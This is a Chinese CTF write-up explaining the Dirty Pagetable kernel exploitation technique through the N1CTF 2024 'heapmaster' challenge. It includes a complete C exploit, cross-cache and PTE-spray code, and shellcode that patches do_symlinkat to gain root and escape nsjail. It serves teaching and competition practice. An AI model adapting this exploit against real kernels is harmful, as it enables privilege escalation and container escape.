Q:我教你PWN用户态栈溢出,GLIBC堆利用,以后做国赛的一把好手。

A:不学,不学。

Q:我教你IO_FILE利用,各种house,Qemuescape,V8利用,你,学不学啊?

A:不学,不学。

Q:(怒砸键盘,转身而去)

(半夜)

Q:(小声说)我教你学内核,恶心的调试,永远喷不到的heapspray,赛时极致的坐牢,enjoy不了的root,你学不学啊

A:对对对,我就想学这个。老师,我以后内核学好的话怎么谢你?

Q:说什么谢不谢的,你以后坑人被骂了,别把老师供出来就行🤣。

1. Dirty Pagetable 介绍

简单来说 该技巧通过操纵用户页表,让攻击者获取到任意物理地址读写的原语

该方法可以:

  • 基于数据(data-only exploitation)就可以完成利用,不同于其他的传统的劫持内核控制流的方法,这种方法能够绕过 CFI、KASLR、SMAP/PAN 等等保护

  • 该技巧可以用在最新的 linux 内核上。

  • 该技巧可以显著提高基于堆漏洞利用成功的效率。

2. Dirty Pagetable 原理

假设存在一个品相很好的UAF,借此说明其相关利用

1.在包含 uaf object 的 victim slab 上触发 UAF,再将该slab的其他object释放从而被页分配器回收

2.使用用户页表占用原victim slab,如图所示

3.建立写原语去修改页表项,根据文末参考文章可通过file UAF 和 pid UAF去改变 PTE

4.修改 PTE,patch系统调用,如do_symlinkat,从而在非特权进程中直接执行它们进行提权

3.通过file uaf 利用Dirty PageTable

本题将使用file uaf ,其中至少有三种不同的利用方法:

1.第一种利用方法是获取系统中其他新打开的特权文件(如 /etc/crontab)重用释放的受害者文件对象。之后,我们可以编写特权文件并可能获取 root

2.第二种利用方法是攻击系统库或可执行文件的页面缓存。该方法的结果与 Dirtypipe 所做的一样。该方法不涉及争用条件,因此可以稳定使用,这是一个巨大的优势。

3.第三种利用方法是从cross-cache attack的角度考虑的。以跨缓存攻击的方式利用文件 UAF。在获得 root 之前,需要绕过 KASLR。同时这种利用方式适用于容器逃逸

4.N1ctf2024-heapmaster

作为今年上了black hat的技巧

这道kernel pwn无疑是一道很不错的例题

启动脚本如下

 qemu-system-x86_64 \
     -kernel bzImage \
     -cpu qemu64,+smep,+smap,+rdrand \
     -m 512M \
     -smp 2 \
     -initrd rootfs.cpio \
     -append "console=ttyS0 quiet loglevel=3 oops=panic panic_on_warn=1 panic=-1 pti=on page_alloc.shuffle=1 kaslr" \
         -drive file=/flag,if=virtio,format=raw,readonly=on \
     -monitor /dev/null \
     -nographic \
     -no-reboot \

静态分析源码

驱动程序单独创建了一个 kmem-cache,0xc0大小 (kmalloc-0x100)

漏洞点

漏洞点位于

cmd=4921中的UAF

利用分析

由于该kmem-cache和file结构体都通过同样的kmalloc-0x100分配,故我们能够通过Cross-Cache Attack将其转化为上文提到过的file uaf

Cross-Cache Attack

先进行堆喷 safenote object,占据足够多的slab后,再将其释放掉,期间释放时用到uaf的释放功能,使slab所在页面最终被Linux中的 buddy system回收

再堆喷 file object,占据原先的 UAF object位置,便能将其转化为file uaf

         /**
          *   STEP.1 Spray the safenote objects
          */
         info("STEP.1 Spray safenote structs completely!");
         for (int i = 0; i < safenote_SPRAYNUM ; i++)
         {
                 spray_fd[i] = add(i);
                 if (spray_fd[i] < 0)
                         err_exit("fail open /.");
         }
 ​
 ​
         /**
          *   STEP.2 Release all the safenote struct to construct Cross Cache Attack
          *   object: clear the slab page and return it to page allocator
          */
 ​
         info("STEP.2 Release safenote");
         for (int i = 0; i < safenote_SPRAYNUM; i++)
         {
                 if (i == safenote_SPRAYNUM / 2)
                 {
                         backdoor(i);
                         continue;
                 }
                 dele(i);
         }
 ​
         puts("[+] Spary FILE");
 ​
         for (int i = 0; i < N_FILESPRAY; i++)
         {
                 file_spray[i] = open("/tmp/test", O_RDONLY);
                 if (file_spray[i] < 0)
                 {
                         err_exit("open file.");
                 }
 ​
         }
 ​
         info("STEP.3 Release all the filp struct");
 ​
         dele(safenote_SPRAYNUM / 2);
         info("delete uaf success");
 ​
         for (int i = 0; i < uafnum; i++)
         {
                 uaf_fds[i] = open("/tmp/test", O_WRONLY);
                 if (uaf_fds[i] < 0)
                 {
                         err_exit("open file.");
                 }
         }
 ​
         int uaf_fd;
 ​
         for (int i = 0; i < N_FILESPRAY; i++)
         {
 ​
                 ssize_t bytes_written = write(file_spray[i], buf, 0x10);
 ​
                 if (bytes_written == 0x10)
                 {
                         uaf_fd = file_spray[i];
                         printf("find uaf_fd %d", uaf_fd);
                         break;
                 }
         }
 ​

期间堆喷拿只读file占据 UAF object后,再利用uaf释放掉占据的结构体,同时再分配只写file占据原位置,通过write操作定位原uaf_fd

堆喷PTE覆盖UAF file

同上述类似步骤,把堆喷的file释放后堆喷PTE 完成cross cache

操作时先通过 mmap 映射得到对应的虚拟地址,这一步内核不会直接分配对应的物理地址空间,而是在执行 *(char *)(page_spray[i] + j * 0x1000) = 'A' + j; 后,会触发缺页,此时内核才会为我们真正分配虚拟地址对应的物理地址空间,并填充页表项,建立虚拟地址和物理地址之间的映射关系。

         for (int i = 0; i < N_FILESPRAY; i++)
         {
                 if (uaf_fd == file_spray[i])
                         continue;
                 close(file_spray[i]);
         }
         for (int i = 0; i < uafnum; i++)
         {
                 close(uaf_fds[i]);
         }
 ​
         /**
          * 3. Overlap UAF file with PTE
          */
 ​
         puts("[+] Allocating PTEs...");
 ​
         info("Spray PTE to occupy victim slab page");
         // Allocate many PTEs (1)
         for (int i = 0; i < N_PAGESPRAY ; i++)
                 for (int j = 0; j < 8; j++)
                         *(char *)(page_spray[i] + j * 0x1000) = 'A' + j;

与前面 file object 那张图比较可以发现,同样的位置已经被页表项填充了

参考下图

建立增原语并定位 victim PTE

这个增原语需要通过 f_count 来实现,其中f_count位于file结构体56 字节到 64 字节处

     atomic_long_t              f_count;              /*    56     8 */

此时这个位置已经被页表项填充了,那么我们可以通过 dup(fd),来让 f_count 实现增原语,完成修改页表项的内容,如下图所示为初始情况,每一个页表项对应一个大小为 0x1000 的物理地址空间,此时 victim pte 还是指向自己的 page

当我们调用 dup(fd) 0x1000 次后的 victim pte 指向情况如下图所示,

可以看到此时 victim pte 已经指向了另外一个地址空间,这使得它从用户态访问其内容时就会发生变化

5.再次捕获页表

那这是否意味着不断dup,就可以让页表项指向内核中任意我们想要的物理地址然后AAR/AAW呢?

显然不行 题目提供给我们的资源有限 无法一直dup

那么我们如何完成对 page table 的修改呢?

如果我们 munmap() 另一个有效 PTE 的虚拟页面并触发物理页面的释放呢?是的,我们将获得一个page UAF 之后,如果我们能通过 heap spray 用一个用户页表占据发布的页面,我们就会控制一个用户页表。但是,这个想法在实践中效果并不好,因为在某些设备上,我们几乎无法通过堆喷来占据带有用户页表的发布页面。其根本原因是匿名 mmap() 分配的物理页通常来自内存区的MIGRATE_MOVABLE free_area,而用户页表通常是从内存区的MIGRATE_UNMOVABLE free_area分配的。这使得堆喷涂难以成功。

这里我们就需要用到引文作者的一个办法了

选择 dma-buf 系统堆来分配共享页面以备后用 因为题目为我们提供了使用的权限,并且 dma-buf 的实现相对简单

 chmod 666 /dev/dma_heap/system

代码如下:

         // Allocate DMA-BUF heap
         int dma_buf_fd = -1;
         struct dma_heap_allocation_data data;
         data.len = 0x1000;
         data.fd_flags = O_RDWR;
         data.heap_flags = 0;
         data.fd = 0;
         if (ioctl(dmafd, DMA_HEAP_IOCTL_ALLOC, &data) < 0)
                 err_exit("DMA_HEAP_IOCTL_ALLOC");

通过 dma_buf fd 的 mmap() 将共享页面映射到用户空间。从 dma-buf 系统堆分配的共享页面本质上是从页面分配器分配,并且和 page table是相同 的order

于是 我们在分配PTE时 实际操作是

step.1 堆喷 page table

step.2 申请一块共享页面

step.3 堆喷 page table

         /**
          * 3. Overlap UAF file with PTE
          */
 ​
         puts("[+] Allocating PTEs...");
 ​
         info("Spray PTE to occupy victim slab page");
         // Allocate many PTEs (1)
         for (int i = 0; i < N_PAGESPRAY / 2; i++)
                 for (int j = 0; j < 8; j++)
                         *(char *)(page_spray[i] + j * 0x1000) = 'A' + j;
         // Allocate DMA-BUF heap
         int dma_buf_fd = -1;
         struct dma_heap_allocation_data data;
         data.len = 0x1000;
         data.fd_flags = O_RDWR;
         data.heap_flags = 0;
         data.fd = 0;
         if (ioctl(dmafd, DMA_HEAP_IOCTL_ALLOC, &data) < 0)
                 err_exit("DMA_HEAP_IOCTL_ALLOC");
         printf("[+] dma_buf_fd: %d\n", dma_buf_fd = data.fd);
         // Allocate many PTEs (2)
         for (int i = N_PAGESPRAY / 2; i < N_PAGESPRAY; i++)
                 for (int j = 0; j < 8; j++)
                         *(char *)(page_spray[i] + j * 0x1000) = 'A' + j;

分配情况:

再重新映射用户空间和内核空间地址(由munmap实现),将 dma_buf 的物理空间映射到用户空间,由于相同order分配,故二者物理空间上是紧邻的

重新映射后:

此时重新映射后的空间对应的是page table,我们可以任意更改他的内容,从而AAR和AAW

         /**
          * 4. Modify PTE entry to overlap 2 physical pages
          */
         // Increment physical address
         for (int i = 0; i < 0x1000; i++)
                 if (dup(uaf_fd) < 0)
                         err_exit("dup");
 ​
         puts("[+] Searching for overlapping page...");
         // Search for page that overlaps with other physical page
         void *evil = NULL;
         for (int i = 0; i < N_PAGESPRAY; i++)
         {
                 // We wrote 'H'(='A'+7) but if it changes the PTE overlaps with the file
                 if (*(char *)(page_spray[i] + 7 * 0x1000) != 'A' + 7)
                 { // +38h: f_count
                         evil = page_spray[i] + 0x7000;
                         printf("[+] Found overlapping page: %p\n", evil);
                         break;
                 }
         }
         if (evil == NULL)
                 err_exit("target not found :(");
         // Place PTE entry for DMA buffer onto controllable PTE
         puts("[+] Remapping...");
         munmap(evil, 0x1000);
         void *dmabuf = mmap(evil, 0x1000, PROT_READ | PROT_WRITE,
                             MAP_SHARED | MAP_POPULATE, dma_buf_fd, 0);
         *(char *)dmabuf = '0';

AAR & AAW

即便是2024年 我们仍可以在 LinuxWindows 上找到一些固定的物理地址

这里的页面始终固定,页表的数据是留下的。(开kaslr和不开的物理内核基址会有0x3000的偏移区别)

         /**
          * Get physical AAR/AAW
          */
         // Corrupt physical address of DMA-BUF
         for (int i = 0; i < 0x1000; i++)
                 if (dup(uaf_fd) < 0)
                         err_exit("dup");
         printf("[+] DMA-BUF now points to PTE: 0x%016lx\n", *(size_t *)dmabuf);
         // Leak kernel physical base
         void *wwwbuf = NULL;
         *(size_t *)dmabuf = 0x800000000009c067;
         for (int i = 0; i < N_PAGESPRAY; i++)
         {
                 if (page_spray[i] == evil)
                         continue;
                 if (*(size_t *)page_spray[i] > 0xffff)
                 {
                         wwwbuf = page_spray[i];
                         printf("[+] Found victim page table: %p\n", wwwbuf);
                         break;
                 }
         }
         size_t phys_base = ((*(size_t *)wwwbuf) & ~0xfff) - 0x3a01000 - 0x3000;
         printf("[+] Physical kernel base address: 0x%016lx\n", phys_base);
 ​

nsjail 逃逸

该题目是加了nsjail的 主体绕过的shellcode思路参考[corCTF 2022] CoRJail: From Null Byte Overflow To Docker Escape Exploiting poll_list Objects In The Linux Kernel,通过任意写去 patch do_symlinkat 系统调用,在此不多赘述

注意其中fs_struct的偏移🤡

 init_cred = 0x2a76b00 
 commit_creds = 0x01c2670 
 find_task_by_vpid = 0x01b8fa0 
 init_nsproxy = 0x2a768c0 
 switch_task_namespaces = 0x01c0ad0
 init_fs = 0x2bb5320
 copy_fs_struct = 0x045c0f0
 kpti_bypass = 0x14011c6
 assembly_code = f"""
     endbr64
     call a
 a:
     pop r15
     sub r15, 0x42cc49
 ​
 ​
     lea rdi, [r15 + {init_cred:#x}]
     lea rax, [r15 + {commit_creds:#x}]
     call rax
 ​
     mov edi, 1
     lea rax, [r15 + {find_task_by_vpid:#x}]
     call rax
 ​
     mov rdi, rax
     lea rsi, [r15 + {init_nsproxy:#x}]
     lea rax, [r15 + {switch_task_namespaces:#x}]
     call rax
 ​
     lea rdi, [r15 + {init_fs:#x}]
     lea rax, [r15 + {copy_fs_struct:#x}]
     call rax
     mov rbx, rax
 ​
 ​
     mov rdi, 0x1111111111111111 
     lea rax, [r15 + {find_task_by_vpid:#x}]
     call rax
 ​
     mov [rax + 0x828], rbx
 ​
 ​
     xor eax, eax
     mov [rsp+0x00], rax
     mov [rsp+0x08], rax
     mov rax, 0x2222222222222222   
     mov [rsp+0x10], rax
     mov rax, 0x3333333333333333  
     mov [rsp+0x18], rax
     mov rax, 0x4444444444444444 
     mov [rsp+0x20], rax
     mov rax, 0x5555555555555555  
     mov [rsp+0x28], rax
     mov rax, 0x6666666666666666  
     mov [rsp+0x30], rax
     lea rax, [r15 + {kpti_bypass:#x}]
     jmp rax
 ​
     int3
 """

最終のexploit

 #define _GNU_SOURCE
 #include "kernelpwn.h"
 #define DMA_HEAP_IOCTL_ALLOC 0xc0184800
 #define PIPE_SPRAY_NUM 200
 #define safenote_SPRAYNUM 0x100
 #define N_FILESPRAY 0x100
 #define N_PAGESPRAY 0x200
 #define uafnum 0x100
 int pipe_fd[PIPE_SPRAY_NUM][2];
 int spray[0x100];
 int fd;
 struct argg
 {
         int idx;
 };
 typedef unsigned long long u64;
 typedef unsigned int u32;
 struct dma_heap_allocation_data
 {
         u64 len;
         u32 fd;
         u32 fd_flags;
         u64 heap_flags;
 };
 ​
 int add(int idx)
 {
         struct argg arg = {.idx = idx};
         return ioctl(fd, 0x1337, &arg);
 }
 ​
 void dele(int idx)
 {
         struct argg arg = {.idx = idx};
         ioctl(fd, 0x1338, &arg);
 }
 ​
 void backdoor(int idx)
 {
         struct argg arg = {.idx = idx};
         ioctl(fd, 0x1339, &arg);
 }
 static void win()
 {
         char buf[0x100];
         int fd = open("/dev/vda", O_RDONLY);
         if (fd < 0)
         {
                 puts("[-] Lose...");
         }
         else
         {
                 puts("[+] Win!");
                 read(fd, buf, 0x100);
                 write(1, buf, 0x100);
                 puts("[+] Done");
         }
         exit(0);
 }
 char shellcode[] = {0xf3, 0x0f, 0x1e, 0xfa, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5f,
                     0x49, 0x81, 0xef, 0x49, 0xcc, 0x42, 0x00, 0x49, 0x8d, 0xbf, 0x00,
                     0x6b, 0xa7, 0x02, 0x49, 0x8d, 0x87, 0x70, 0x26, 0x1c, 0x00, 0xff,
                     0xd0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8d, 0x87, 0xa0, 0x8f,
                     0x1b, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc7, 0x49, 0x8d, 0xb7, 0xc0,
                     0x68, 0xa7, 0x02, 0x49, 0x8d, 0x87, 0xd0, 0x0a, 0x1c, 0x00, 0xff,
                     0xd0, 0x49, 0x8d, 0xbf, 0x20, 0x53, 0xbb, 0x02, 0x49, 0x8d, 0x87,
                     0xf0, 0xc0, 0x45, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc3, 0x48, 0xbf,
                     0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x49, 0x8d, 0x87,
                     0xa0, 0x8f, 0x1b, 0x00, 0xff, 0xd0, 0x48, 0x89, 0x98, 0x28, 0x08,
                     0x00, 0x00, 0x31, 0xc0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89, 0x44,
                     0x24, 0x08, 0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
                     0x22, 0x48, 0x89, 0x44, 0x24, 0x10, 0x48, 0xb8, 0x33, 0x33, 0x33,
                     0x33, 0x33, 0x33, 0x33, 0x33, 0x48, 0x89, 0x44, 0x24, 0x18, 0x48,
                     0xb8, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x48, 0x89,
                     0x44, 0x24, 0x20, 0x48, 0xb8, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55,
                     0x55, 0x55, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0xb8, 0x66, 0x66,
                     0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x48, 0x89, 0x44, 0x24, 0x30,
                     0x49, 0x8d, 0x87, 0xc6, 0x11, 0x40, 0x01, 0xff, 0xe0, 0xcc};
 ​
 int main()
 {
         int uaf_fds[uafnum];
         int spray_fd[safenote_SPRAYNUM];
 ​
         int file_spray[N_FILESPRAY];
         void *page_spray[N_PAGESPRAY];
 ​
         size_t buf[0x1000];
         save_status();
         bind_core(0);
         /**
          * 0. Just prepare
          */
         FILE *file;
         const char *filename = "/tmp/test";
 ​
         pid_t pid = getpid();
 ​
         fd = open("/dev/safenote", O_RDWR);
         if (fd < 0)
                 err_exit("open /dev/safenote");
 ​
         file = fopen(filename, "w");
         fclose(file);
         int dmafd = creat("/dev/dma_heap/system", O_RDWR);
         if (dmafd == -1)
                 err_exit("/dev/dma_heap/system");
 ​
         info("Prepare pages for PTE");
         for (int i = 0; i < N_PAGESPRAY; i++)
         {
                 page_spray[i] = mmap((void *)(0xdead0000UL + i * 0x10000UL),
                                      0x8000, PROT_READ | PROT_WRITE,
                                      MAP_ANONYMOUS | MAP_SHARED, -1, 0);
                 if (page_spray[i] == MAP_FAILED)
                         err_exit("FAILED to mmap many pages");
         }
 ​
         /**
          *   STEP.1 Spray the safenote objects
          */
         info("STEP.1 Spray safenote structs completely!");
         for (int i = 0; i < safenote_SPRAYNUM; i++)
         {
                 spray_fd[i] = add(i);
                 if (spray_fd[i] < 0)
                         err_exit("fail open /.");
         }
 ​
         /**
          *   STEP.2 Release all the safenote struct to construct Cross Cache Attack
          *   object: clear the slab page and return it to page allocator
          */
 ​
         info("STEP.2 Release safenote");
         for (int i = 0; i < safenote_SPRAYNUM; i++)
         {
                 if (i == safenote_SPRAYNUM / 2)
                 {
 ​
                         backdoor(i);
                         continue;
                 }
                 dele(i);
         }
 ​
         puts("[+] Spary FILE");
 ​
         for (int i = 0; i < N_FILESPRAY; i++)
         {
                 file_spray[i] = open("/tmp/test", O_RDONLY);
                 if (file_spray[i] < 0)
                 {
                         err_exit("open file.");
                 }
         }
 ​
         
 ​
         dele(safenote_SPRAYNUM / 2);
         info("delete uaf success");
 ​
         for (int i = 0; i < uafnum; i++)
         {
                 uaf_fds[i] = open("/tmp/test", O_WRONLY);
                 if (uaf_fds[i] < 0)
                 {
                         err_exit("open file.");
                 }
         }
 ​
         int uaf_fd;
 ​
         for (int i = 0; i < N_FILESPRAY; i++)
         {
 ​
                 ssize_t bytes_written = write(file_spray[i], buf, 0x10);
 ​
                 if (bytes_written == 0x10)
                 {
                         uaf_fd = file_spray[i];
                         printf("find uaf_fd %d", uaf_fd);
                         break;
                 }
         }
         info("Release all the filp struct");
         for (int i = 0; i < N_FILESPRAY; i++)
         {
                 if (uaf_fd == file_spray[i])
                         continue;
                 close(file_spray[i]);
         }
         for (int i = 0; i < uafnum; i++)
         {
                 close(uaf_fds[i]);
         }
 ​
         /**
          * 3. Overlap UAF file with PTE
          */
 ​
         puts("[+] Allocating PTEs...");
 ​
         info("Spray PTE to occupy victim slab page");
         // Allocate many PTEs (1)
         for (int i = 0; i < N_PAGESPRAY / 2; i++)
                 for (int j = 0; j < 8; j++)
                         *(char *)(page_spray[i] + j * 0x1000) = 'A' + j;
         // Allocate DMA-BUF heap
         int dma_buf_fd = -1;
         struct dma_heap_allocation_data data;
         data.len = 0x1000;
         data.fd_flags = O_RDWR;
         data.heap_flags = 0;
         data.fd = 0;
         if (ioctl(dmafd, DMA_HEAP_IOCTL_ALLOC, &data) < 0)
                 err_exit("DMA_HEAP_IOCTL_ALLOC");
         printf("[+] dma_buf_fd: %d\n", dma_buf_fd = data.fd);
         // Allocate many PTEs (2)
         for (int i = N_PAGESPRAY / 2; i < N_PAGESPRAY; i++)
                 for (int j = 0; j < 8; j++)
                         *(char *)(page_spray[i] + j * 0x1000) = 'A' + j;
         /**
          * 4. Modify PTE entry to overlap 2 physical pages
          */
         // Increment physical address
         for (int i = 0; i < 0x1000; i++)
                 if (dup(uaf_fd) < 0)
                         err_exit("dup");
 ​
         puts("[+] Searching for overlapping page...");
         // Search for page that overlaps with other physical page
         void *evil = NULL;
         for (int i = 0; i < N_PAGESPRAY; i++)
         {
                 // We wrote 'H'(='A'+7) but if it changes the PTE overlaps with the file
                 if (*(char *)(page_spray[i] + 7 * 0x1000) != 'A' + 7)
                 { // +38h: f_count
                         evil = page_spray[i] + 0x7000;
                         printf("[+] Found overlapping page: %p\n", evil);
                         break;
                 }
         }
         if (evil == NULL)
                 err_exit("target not found :(");
         // Place PTE entry for DMA buffer onto controllable PTE
         puts("[+] Remapping...");
         munmap(evil, 0x1000);
         void *dmabuf = mmap(evil, 0x1000, PROT_READ | PROT_WRITE,
                             MAP_SHARED | MAP_POPULATE, dma_buf_fd, 0);
         *(char *)dmabuf = '0';
 ​
         /**
          * Get physical AAR/AAW
          */
         // Corrupt physical address of DMA-BUF
         for (int i = 0; i < 0x1000; i++)
                 if (dup(uaf_fd) < 0)
                         err_exit("dup");
         printf("[+] DMA-BUF now points to PTE: 0x%016lx\n", *(size_t *)dmabuf);
         // Leak kernel physical base
         void *wwwbuf = NULL;
         *(size_t *)dmabuf = 0x800000000009c067;
         for (int i = 0; i < N_PAGESPRAY; i++)
         {
                 if (page_spray[i] == evil)
                         continue;
                 if (*(size_t *)page_spray[i] > 0xffff)
                 {
                         wwwbuf = page_spray[i];
                         printf("[+] Found victim page table: %p\n", wwwbuf);
                         break;
                 }
         }
         size_t phys_base = ((*(size_t *)wwwbuf) & ~0xfff) - 0x3a01000 - 0x3000;
         printf("[+] Physical kernel base address: 0x%016lx\n", phys_base);
 ​
         info("okok");
         /**
          * Overwrite and Escaping from nsjail
          */
         // 0xffffffff8142cc40 (do_symlinkat)
         puts("[+] Overwriting do_symlinkat...");
         size_t phys_func = phys_base + 0x42cc40;
         *(size_t *)dmabuf = (phys_func & ~0xfff) | 0x8000000000000067;
         void *p;
         p = memmem(shellcode, sizeof(shellcode), "\x11\x11\x11\x11\x11\x11\x11\x11", 8);
         *(size_t *)p = getpid();
         p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22", 8);
         *(size_t *)p = (size_t)&win;
         p = memmem(shellcode, sizeof(shellcode), "\x33\x33\x33\x33\x33\x33\x33\x33", 8);
         *(size_t *)p = user_cs;
         p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44", 8);
         *(size_t *)p = user_rflags;
         p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55", 8);
         *(size_t *)p = user_sp;
         p = memmem(shellcode, sizeof(shellcode), "\x66\x66\x66\x66\x66\x66\x66\x66", 8);
         *(size_t *)p = user_ss;
         memcpy(wwwbuf + (phys_func & 0xfff), shellcode, sizeof(shellcode));
         puts("[+] you got it");
         printf("%d\n", symlink("/jail/x", "/jail"));
         puts("[-] Fail");
 }

Reference:

Dirty_Pagetable

Understanding Dirty Pagetable - m0leCon Finals 2023 CTF Writeup - CTFするぞ

重生之会pwnのsekiro